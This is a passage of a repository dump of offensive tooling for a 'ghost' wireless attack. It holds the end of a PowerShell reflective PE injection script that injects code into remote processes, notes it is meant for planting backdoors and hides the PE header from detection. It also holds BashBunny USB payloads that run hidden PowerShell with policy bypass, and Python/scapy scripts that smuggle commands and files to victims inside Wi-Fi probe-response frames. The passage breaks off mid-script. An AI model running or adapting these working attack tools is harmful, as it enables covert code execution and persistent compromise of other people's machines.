[UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) 2519 | if ($Success -eq $false) 2520 | { 2521 | Throw "Unable to write shellcode to remote process memory." 2522 | } 2523 | } 2524 | 2525 | 2526 | #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function 2527 | if ($PEInfo.FileType -ieq "DLL") 2528 | { 2529 | if ($RemoteLoading -eq $false) 2530 | { 2531 | Write-Verbose "Calling dllmain so the DLL knows it has been loaded" 2532 | $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) 2533 | $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) 2534 | $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) 2535 | 2536 | $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null 2537 | } 2538 | else 2539 | { 2540 | $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) 2541 | 2542 | if ($PEInfo.PE64Bit -eq $true) 2543 | { 2544 | #Shellcode: CallDllMain.asm 2545 | $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) 2546 | $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) 2547 | $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) 2548 | } 2549 | else 2550 | { 2551 | #Shellcode: CallDllMain.asm 2552 | $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) 2553 | $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) 2554 | $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) 2555 | } 2556 | $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) 2557 | $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) 2558 | $SCPSMemOriginal = $SCPSMem 2559 | 2560 | Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem 2561 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) 2562 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) 2563 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 2564 | Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem 2565 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) 2566 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) 2567 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 2568 | Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem 2569 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) 2570 | 2571 | $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) 2572 | if ($RSCAddr -eq [IntPtr]::Zero) 2573 | { 2574 | Throw "Unable to allocate memory in the remote process for shellcode" 2575 | } 2576 | 2577 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) 2578 | if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) 2579 | { 2580 | Throw "Unable to write shellcode to remote process memory." 2581 | } 2582 | 2583 | $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions 2584 | $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) 2585 | if ($Result -ne 0) 2586 | { 2587 | Throw "Call to CreateRemoteThread to call GetProcAddress failed." 2588 | } 2589 | 2590 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null 2591 | } 2592 | } 2593 | elseif ($PEInfo.FileType -ieq "EXE") 2594 | { 2595 | #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process 2596 | [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) 2597 | [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) 2598 | $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr 2599 | 2600 | #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread 2601 | # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. 2602 | [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) 2603 | Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in." 2604 | 2605 | $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null 2606 | 2607 | while($true) 2608 | { 2609 | [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) 2610 | if ($ThreadDone -eq 1) 2611 | { 2612 | Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants 2613 | Write-Verbose "EXE thread has completed." 2614 | break 2615 | } 2616 | else 2617 | { 2618 | Start-Sleep -Seconds 1 2619 | } 2620 | } 2621 | } 2622 | 2623 | return @($PEInfo.PEHandle, $EffectivePEHandle) 2624 | } 2625 | 2626 | 2627 | Function Invoke-MemoryFreeLibrary 2628 | { 2629 | Param( 2630 | [Parameter(Position=0, Mandatory=$true)] 2631 | [IntPtr] 2632 | $PEHandle 2633 | ) 2634 | 2635 | #Get Win32 constants and functions 2636 | $Win32Constants = Get-Win32Constants 2637 | $Win32Functions = Get-Win32Functions 2638 | $Win32Types = Get-Win32Types 2639 | 2640 | $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants 2641 | 2642 | #Call FreeLibrary for all the imports of the DLL 2643 | if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) 2644 | { 2645 | [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) 2646 | 2647 | while ($true) 2648 | { 2649 | $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) 2650 | 2651 | #If the structure is null, it signals that this is the end of the array 2652 | if ($ImportDescriptor.Characteristics -eq 0 ` 2653 | -and $ImportDescriptor.FirstThunk -eq 0 ` 2654 | -and $ImportDescriptor.ForwarderChain -eq 0 ` 2655 | -and $ImportDescriptor.Name -eq 0 ` 2656 | -and $ImportDescriptor.TimeDateStamp -eq 0) 2657 | { 2658 | Write-Verbose "Done unloading the libraries needed by the PE" 2659 | break 2660 | } 2661 | 2662 | $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) 2663 | $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) 2664 | 2665 | if ($ImportDllHandle -eq $null) 2666 | { 2667 | Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue 2668 | } 2669 | 2670 | $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) 2671 | if ($Success -eq $false) 2672 | { 2673 | Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue 2674 | } 2675 | 2676 | $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) 2677 | } 2678 | } 2679 | 2680 | #Call DllMain with process detach 2681 | Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" 2682 | $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) 2683 | $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) 2684 | $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) 2685 | 2686 | $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null 2687 | 2688 | 2689 | $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) 2690 | if ($Success -eq $false) 2691 | { 2692 | Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue 2693 | } 2694 | } 2695 | 2696 | 2697 | Function Main 2698 | { 2699 | $Win32Functions = Get-Win32Functions 2700 | $Win32Types = Get-Win32Types 2701 | $Win32Constants = Get-Win32Constants 2702 | 2703 | $RemoteProcHandle = [IntPtr]::Zero 2704 | 2705 | #If a remote process to inject in to is specified, get a handle to it 2706 | if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) 2707 | { 2708 | Throw "Can't supply a ProcId and ProcName, choose one or the other" 2709 | } 2710 | elseif ($ProcName -ne $null -and $ProcName -ne "") 2711 | { 2712 | $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) 2713 | if ($Processes.Count -eq 0) 2714 | { 2715 | Throw "Can't find process $ProcName" 2716 | } 2717 | elseif ($Processes.Count -gt 1) 2718 | { 2719 | $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId 2720 | Write-Output $ProcInfo 2721 | Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." 2722 | } 2723 | else 2724 | { 2725 | $ProcId = $Processes[0].ID 2726 | } 2727 | } 2728 | 2729 | #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. 2730 | #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege 2731 | # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) 2732 | # { 2733 | # Write-Verbose "Getting SeDebugPrivilege" 2734 | # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants 2735 | # } 2736 | 2737 | if (($ProcId -ne $null) -and ($ProcId -ne 0)) 2738 | { 2739 | $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) 2740 | if ($RemoteProcHandle -eq [IntPtr]::Zero) 2741 | { 2742 | Throw "Couldn't obtain the handle for process ID: $ProcId" 2743 | } 2744 | 2745 | Write-Verbose "Got the handle for the remote process to inject in to" 2746 | } 2747 | 2748 | 2749 | #Load the PE reflectively 2750 | Write-Verbose "Calling Invoke-MemoryLoadLibrary" 2751 | $PEHandle = [IntPtr]::Zero 2752 | if ($RemoteProcHandle -eq [IntPtr]::Zero) 2753 | { 2754 | $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR 2755 | } 2756 | else 2757 | { 2758 | $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR 2759 | } 2760 | if ($PELoadedInfo -eq [IntPtr]::Zero) 2761 | { 2762 | Throw "Unable to load PE, handle returned is NULL" 2763 | } 2764 | 2765 | $PEHandle = $PELoadedInfo[0] 2766 | $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process 2767 | 2768 | 2769 | #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. 2770 | $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants 2771 | if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) 2772 | { 2773 | ######################################### 2774 | ### YOUR CODE GOES HERE 2775 | ######################################### 2776 | switch ($FuncReturnType) 2777 | { 2778 | 'WString' { 2779 | Write-Verbose "Calling function with WString return type" 2780 | [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" 2781 | if ($WStringFuncAddr -eq [IntPtr]::Zero) 2782 | { 2783 | Throw "Couldn't find function address." 2784 | } 2785 | $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) 2786 | $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) 2787 | [IntPtr]$OutputPtr = $WStringFunc.Invoke() 2788 | $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) 2789 | Write-Output $Output 2790 | } 2791 | 2792 | 'String' { 2793 | Write-Verbose "Calling function with String return type" 2794 | [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" 2795 | if ($StringFuncAddr -eq [IntPtr]::Zero) 2796 | { 2797 | Throw "Couldn't find function address." 2798 | } 2799 | $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) 2800 | $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) 2801 | [IntPtr]$OutputPtr = $StringFunc.Invoke() 2802 | $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) 2803 | Write-Output $Output 2804 | } 2805 | 2806 | 'Void' { 2807 | Write-Verbose "Calling function with Void return type" 2808 | [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" 2809 | if ($VoidFuncAddr -eq [IntPtr]::Zero) 2810 | { 2811 | Throw "Couldn't find function address." 2812 | } 2813 | $VoidFuncDelegate = Get-DelegateType @() ([Void]) 2814 | $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) 2815 | $VoidFunc.Invoke() | Out-Null 2816 | } 2817 | } 2818 | ######################################### 2819 | ### END OF YOUR CODE 2820 | ######################################### 2821 | } 2822 | #For remote DLL injection, call a void function which takes no parameters 2823 | elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) 2824 | { 2825 | $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" 2826 | if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) 2827 | { 2828 | Throw "VoidFunc couldn't be found in the DLL" 2829 | } 2830 | 2831 | $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle 2832 | $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle 2833 | 2834 | #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors 2835 | $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions 2836 | } 2837 | 2838 | #Don't free a library if it is injected in a remote process or if it is an EXE. 2839 | #Note that all DLL's loaded by the EXE will remain loaded in memory. 2840 | if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL") 2841 | { 2842 | Invoke-MemoryFreeLibrary -PEHandle $PEHandle 2843 | } 2844 | else 2845 | { 2846 | #Delete the PE file from memory. 2847 | $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) 2848 | if ($Success -eq $false) 2849 | { 2850 | Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue 2851 | } 2852 | } 2853 | 2854 | Write-Verbose "Done!" 2855 | } 2856 | 2857 | Main 2858 | } 2859 | 2860 | #Main function to either run the script locally or remotely 2861 | Function Main 2862 | { 2863 | if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) 2864 | { 2865 | $DebugPreference = "Continue" 2866 | } 2867 | 2868 | Write-Verbose "PowerShell ProcessID: $PID" 2869 | 2870 | #Verify the image is a valid PE file 2871 | $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' 2872 | 2873 | if ($e_magic -ne 'MZ') 2874 | { 2875 | throw 'PE is not a valid PE file.' 2876 | } 2877 | 2878 | if (-not $DoNotZeroMZ) { 2879 | # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg 2880 | # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. 2881 | $PEBytes[0] = 0 2882 | $PEBytes[1] = 0 2883 | } 2884 | 2885 | #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) 2886 | if ($ExeArgs -ne $null -and $ExeArgs -ne '') 2887 | { 2888 | $ExeArgs = "ReflectiveExe $ExeArgs" 2889 | } 2890 | else 2891 | { 2892 | $ExeArgs = "ReflectiveExe" 2893 | } 2894 | 2895 | if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") 2896 | { 2897 | Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) 2898 | } 2899 | else 2900 | { 2901 | Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName 2902 | } 2903 | } 2904 | 2905 | Main 2906 | } 2907 | 2908 | # 将二进制字符串转为字节数组 2909 | 2910 | $PEBytes = [System.Convert]::FromBase64String($InputString) 2911 | 2912 | # 在内存中运行 EXE 2913 | 2914 | Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR -------------------------------------------------------------------------------- /bashbunny attack/ghost attack v1/payload.txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Title: Hidden Attack 4 | # Description: For ghost memery attack 5 | # Author: Steven 6 | # Version: v 1.0 7 | # Target: Windows 8 | # Attackmodes: HID, STORAGE 9 | 10 | ######## INITIALIZATION ######## 11 | LED SETUP 12 | GET SWITCH_POSITION 13 | ATTACKMODE HID STORAGE 14 | 15 | ######## ATTACK ######## 16 | LED ATTACK 17 | RUN WIN C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -nop -ex Bypass -w Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\MemoryRun.ps1')" 18 | 19 | ######## FINISH ######## 20 | LED FINISH -------------------------------------------------------------------------------- /bashbunny attack/ghost attack v2/Run.ps1: -------------------------------------------------------------------------------- 1 | Start-Process -WindowStyle Hidden -FilePath ((Get-WmiObject win32_volume -f 'label=''BashBunny''').Name+'tools\ghost32.exe') 2 | -------------------------------------------------------------------------------- /bashbunny attack/ghost attack v2/payload.txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Title: Hidden Attack 4 | # Description: For Ghost attack 5 | # Author: Steven 6 | # Version: v 1.0 7 | # Target: Windows 8 | # Attackmodes: HID, STORAGE 9 | 10 | ######## INITIALIZATION ######## 11 | LED SETUP 12 | GET SWITCH_POSITION 13 | ATTACKMODE HID STORAGE 14 | 15 | ######## ATTACK ######## 16 | LED ATTACK 17 | RUN WIN C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -nop -ex Bypass -w Hidden ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\Run.ps1')" 18 | 19 | ######## FINISH ######## 20 | LED FINISH -------------------------------------------------------------------------------- /hostapd/hostapd.conf: -------------------------------------------------------------------------------- 1 | interface=wlan0 2 | 3 | driver=nl80211 4 | 5 | ssid=ghost 6 | 7 | hw_mode=g 8 | 9 | channel=6 10 | 11 | auth_algs=3 12 | 13 | wmm_enabled=1 14 | 15 | #beacon_int=50 16 | 17 | vendor_elements=dd16006363636f70656e202d612043616c63756c61746f72 18 | 19 | wpa=1 20 | 21 | wpa_passphrase=12345678 22 | 23 | wpa_key_mgmt=WPA-PSK 24 | 25 | wpa_pairwise=CCMP 26 | 27 | -------------------------------------------------------------------------------- /hostapd/hostapd.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | import subprocess 4 | import random 5 | import string 6 | import psutil 7 | def createPayload(ssid,cmd): 8 | cmd=cmd.rstrip().lstrip() 9 | magic_code='ccc' 10 | head_id='dd' 11 | length=str(len(ssid+magic_code+cmd)) 12 | raw_payload=length+ssid+magic_code+cmd 13 | payload=head_id+(''.join([hex(ord(c)).replace('0x','') for c in raw_payload])) 14 | return payload 15 | 16 | 17 | def createSsid(): 18 | ssid = ''.join(random.sample(string.ascii_letters, 5)) 19 | return ssid 20 | pass 21 | 22 | def setValue(file_name,content,ssid,payload): 23 | 24 | ssid_index=content.index('ssid') 25 | former_ssid=content[ssid_index+5:ssid_index+11] 26 | content=content.replace(former_ssid,ssid+'\n') 27 | 28 | vendor_index=content.index('vendor_elements') 29 | vendor_next_index=content.index('wpa=1') 30 | former_payload=content[vendor_index+16:vendor_next_index] 31 | new_content=content.replace(former_payload,payload+'\n') 32 | changeFile(file_name,new_content) 33 | pass 34 | 35 | def creatHostapd(): 36 | p=subprocess.Popen('sudo hostapd hostapd.conf',shell=True,stdout=subprocess.PIPE) 37 | return p.pid 38 | pass 39 | 40 | def killHostapd(pid): 41 | subprocess.Popen("kill "+str(pid-2),shell=True,stdout=subprocess.PIPE) 42 | subprocess.Popen("kill -9 "+str(pid),shell=True,stderr=subprocess.PIPE,stdout=subprocess.PIPE) 43 | pass 44 | 45 | def changeFile(file_name,content): 46 | f=open(file_name,'w') 47 | f.writelines(content) 48 | f.close() 49 | 50 | if __name__ == "__main__": 51 | for proc in psutil.process_iter(): 52 | if proc.name()=='hostapd': 53 | print(proc) 54 | # file_name='hostapd.conf' 55 | # flag=False 56 | # while 1: 57 | # cmd=raw_input('#>') 58 | # if flag: 59 | # killHostapd(pid) 60 | # time.sleep(0.1) 61 | # creatHostapd() 62 | # if cmd='exit': 63 | # exit(0) 64 | # next_ssid=createSsid() 65 | # payload=createPayload(next_ssid,cmd) 66 | # f=open(file_name,'r') 67 | # content=f.read() 68 | # setValue(file_name,content,next_ssid,payload) 69 | # pid=creatHostapd() 70 | # flag=True -------------------------------------------------------------------------------- /scapy_ghost.py: -------------------------------------------------------------------------------- 1 | #!usr/bin/python 2 | #coding=utf-8 3 | import sys, getopt 4 | from scapy.all import * 5 | import binascii 6 | import time 7 | import shutil 8 | #need modify /usr/lib/python2.7/dist-packages/scapy 252,262 9 | 10 | class Tools: 11 | netSSID = 'ghost' #Network name 12 | @staticmethod 13 | def getPayloadFrame(cmd, ct_addr2, addr2): 14 | payload = Dot11Elt(ID=221, info=(cmd)) 15 | response_dot11 = Dot11(subtype=5, addr1=ct_addr2,addr2=addr2, addr3=addr2,SC=22222) 16 | return RadioTap()/response_dot11/Dot11ProbeResp()/payload/Dot11Elt(ID='SSID', info=Tools.netSSID) 17 | @staticmethod 18 | def getTimeHash(): 19 | hash_time = str(hash(time.time()))[0:8] 20 | return hash_time 21 | @staticmethod 22 | def CMDEncode(cmd): 23 | cmd_bin = "" 24 | for i in cmd: 25 | cmd_bin += binascii.a2b_hex(hex(ord(i))[2:4]) 26 | cmd_bin += '\0' 27 | return cmd_bin 28 | @staticmethod 29 | def fileEncode(cmd,fileContext): 30 | cmd_bin = "" 31 | for i in cmd: 32 | cmd_bin += binascii.a2b_hex(hex(ord(i))[2:4]) 33 | for i in fileContext: 34 | cmd_bin += i 35 | cmd_bin += '\0' 36 | return cmd_bin 37 | @staticmethod 38 | def int2hex(cmd): 39 | temp = "0" 40 | temp += str(hex(cmd))[2:] 41 | return temp[-2:] 42 | 43 | class Action1: 44 | def __init__(self): 45 | self.ReceiveHash = None; 46 | self.SendHash = None; 47 | self.number = 0; 48 | self.time = 0; 49 | def Handle(self,packet): 50 | dot = packet.getlayer(Dot11) 51 | if dot != None and dot.type == 0 and dot.subtype == 4: 52 | data = str(packet) 53 | index = data.find("acc") 54 | if index>= 0: 55 | print("Get Frame!(0-11): " + data[index:index+11]) 56 | self.ReceiveHash = data[index+3:index+11] 57 | ct_addr2 = packet.addr2 58 | if(self.SendHash != self.ReceiveHash ): 59 | if(time.time() - self.time >4 ): 60 | self.number += 1 61 | if(self.SendHash == None): 62 | self.SendHash = Tools.getTimeHash() 63 | cmd_bin = Tools().CMDEncode("ccc"+self.SendHash+SendCMD) 64 | print("Round ["+str(self.number)+"] : Context is {"+cmd_bin+"} "), 65 | response_frame = Tools.getPayloadFrame(cmd_bin, ct_addr2, '22:22:22:22:22:22') 66 | sendp(response_frame, iface="wlan0", count=450 + 50 * self.number) 67 | self.time = time.time() 68 | else: 69 | self.SendHash = None; 70 | self.number = 0; 71 | print("=====Attack OK!!!======") 72 | exit(1); 73 | 74 | 75 | class Action2: 76 | def __init__(self): 77 | self.filename = None 78 | self.filebuf = [] 79 | self.filelen = 0 80 | self.CurrentIndex = 0 81 | self.ReceiveHash = None 82 | self.SendHash = None 83 | self.number = 0 84 | self.time = 0 85 | def setfilename(self,name): 86 | self.filename = name 87 | def slicingFile(self,CMDdir): 88 | file_object = open(CMDdir) 89 | try: 90 | while True: 91 | chunk = file_object.read(220) 92 | if not chunk: 93 | break 94 | self.filebuf.append(chunk) 95 | finally: 96 | file_object.close( ) 97 | self.filelen = len(self.filebuf) 98 | def Handle(self,packet): 99 | dot = packet.getlayer(Dot11) 100 | if dot != None and dot.type == 0 and dot.subtype == 4: 101 | data = str(packet) 102 | index = data.find("acc") 103 | if index>= 0: 104 | print("Get Frame!(0-11): " + data[index:index+11]) 105 | self.ReceiveHash = data[index+3:index+11] 106 | ct_addr2 = packet.addr2 107 | if(self.SendHash != self.ReceiveHash ): 108 | if(time.time() - self.time >4 ): 109 | self.number += 1 110 | if(self.SendHash == None): 111 | self.SendHash = Tools.getTimeHash() 112 | cmd_bin = Tools.fileEncode("F"+Tools.int2hex(len(self.filename))+self.SendHash+Tools.int2hex(self.filelen)+Tools.int2hex(self.CurrentIndex+1)+self.filename , self.filebuf[self.CurrentIndex]) 113 | 114 | print("Round ["+str(self.CurrentIndex+1)+"/"+str(self.filelen)+" - "+str(self.number)+"] , "+str(len(self.filebuf[self.CurrentIndex]))+" bytes ,"), 115 | response_frame = Tools.getPayloadFrame(cmd_bin, ct_addr2, '22:22:22:22:22:22') 116 | sendp(response_frame, iface="wlan0", count=450 + 50 * self.number) 117 | self.time = time.time() 118 | else: 119 | self.SendHash = None 120 | self.number = 0 121 | self.CurrentIndex += 1 122 | if(self.CurrentIndex >= self.filelen): 123 | print("=====Attack OK!!!======") 124 | exit(1); 125 | 126 | 127 | 128 | SendCMD = "" 129 | opts, args = getopt.getopt(sys.argv[1:], "hc:f:") 130 | for op, value in opts: 131 | if op in ("-c"): 132 | #try: 133 | SendCMD += value 134 | for j in args: 135 | SendCMD = SendCMD+" "+j 136 | print(SendCMD) 137 | act1 = Action1() 138 | #print("You input command is :[" + SendCMD+"]") 139 | print("=====Attack Begin======") 140 | print("Sniff Monitor...") 141 | sniff(iface="wlan0", prn=act1.Handle) 142 | #except: 143 | #print("Please try again later") 144 | pass 145 | elif op in ("-f"): 146 | #try: 147 | SendCMD += value 148 | for j in args: 149 | SendCMD = SendCMD+" "+j 150 | act2 = Action2() 151 | CMD2fileName = SendCMD.split("/")[-1] 152 | if(len(CMD2fileName) <= 15): 153 | act2.setfilename(CMD2fileName) 154 | else: 155 | print("filename so long!") 156 | exit(1) 157 | 158 | with open(SendCMD) as f: 159 | lines = f.readlines() 160 | with open(SendCMD+"_tmp","w") as f_w: 161 | for line in lines: 162 | if "\n" in line: 163 | line = line.replace("\n","\r\n") 164 | f_w.write(line) 165 | act2.slicingFile(SendCMD+"_tmp") 166 | os.remove(SendCMD+"_tmp") 167 | 168 | print("You input file is :[" + SendCMD+"]") 169 | print("=====Attack Begin======") 170 | print("Sniff Monitor...") 171 | sniff(iface="wlan0", prn=act2.Handle) 172 | #except: 173 | #print("Please try again later") 174 | pass 175 | elif op in ("-h"): 176 | print(''' 177 | 